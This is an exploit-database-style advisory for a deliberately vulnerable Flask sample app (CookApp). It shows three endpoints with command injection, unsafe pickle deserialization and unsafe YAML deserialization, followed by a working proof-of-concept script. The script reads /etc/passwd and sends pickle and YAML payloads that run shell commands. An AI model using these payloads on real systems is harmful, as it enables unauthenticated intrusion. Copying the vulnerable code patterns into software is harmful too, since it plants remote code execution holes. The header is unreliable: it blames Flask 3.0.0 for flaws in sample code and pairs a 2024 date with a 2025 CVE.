# Exploit Title: Flask 3.0.0 CookApp - Multiple Unauthenticated RCE Vulnerabilities
# Date: 2024-12-05
# Exploit Author: nu11secur1ty
# Vendor Homepage: https://flask.palletsprojects.com/
# Software Link: https://pypi.org/project/Flask/
# Version: 3.0.0
# Tested on: Linux (Ubuntu 22.04), Docker containers
# CVE: CVE-2025-55182
# Category: Remote Code Execution
# Platform: Python/Flask
1. Description
==============
A vulnerable Flask application (CookApp) contains multiple critical security
vulnerabilities that allow unauthenticated remote attackers to execute arbitrary
commands on the target system.
The application contains three distinct Remote Code Execution (RCE) vectors:
1. Command Injection via `/api/run` endpoint (CWE-78)
2. Pickle Deserialization RCE via `/api/load` endpoint (CWE-502)
3. YAML Deserialization RCE via `/api/yaml` endpoint (CWE-502)
CVSS 3.1 Score: 9.8 (CRITICAL)
Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
2. Vulnerable Code
==================
```python
# Vulnerable endpoint 1: Command Injection
@app.route("/api/run", methods=["POST"])
def run_cmd():
cmd = request.json.get("cmd", "whoami")
# VULNERABLE: shell=True with user input
output = subprocess.check_output(cmd, shell=True)
return {"output": output.decode()}
# Vulnerable endpoint 2: Pickle Deserialization
@app.route("/api/load", methods=["POST"])
def load():
data = request.get_data()
# VULNERABLE: pickle.loads() with untrusted data
recipe = pickle.loads(data)
return {"status": "loaded", "recipe": str(recipe)}
# Vulnerable endpoint 3: YAML Deserialization
@app.route("/api/yaml", methods=["POST"])
def import_yaml():
yaml_data = request.data.decode()
# VULNERABLE: yaml.load() instead of yaml.safe_load()
data = yaml.load(yaml_data, Loader=yaml.Loader)
return {"data": str(data)}
[+]PoC:
```py
#!/usr/bin/env python3
# https://github.com/nu11secur1ty/CVE-nu11secur1ty/blob/main/2025/flask-3.0.0-RCE/PoC.py
# nu11secur1ty
import requests
import pickle
target = "http://vulnerable-host:5000"
# 1. Command Injection (simplest)
resp = requests.post(f"{target}/api/run", json={"cmd": "cat /etc/passwd"})
print("Command Injection Output:", resp.json().get('output', ''))
# 2. Pickle RCE
class RCE:
def __reduce__(self):
import os
return (os.system, ("id",))
payload = pickle.dumps(RCE())
resp = requests.post(f"{target}/api/load", data=payload)
print("Pickle RCE Status:", resp.status_code)
# 3. YAML RCE
yaml_payload = """!!python/object/apply:subprocess.Popen
- ["sh", "-c", "whoami"]"""
resp = requests.post(f"{target}/api/yaml", data=yaml_payload)
print("YAML RCE Status:", resp.status_code)
```
### Demo:
[href](https://www.patreon.com/posts/flask-3-0-0-rce-145134394)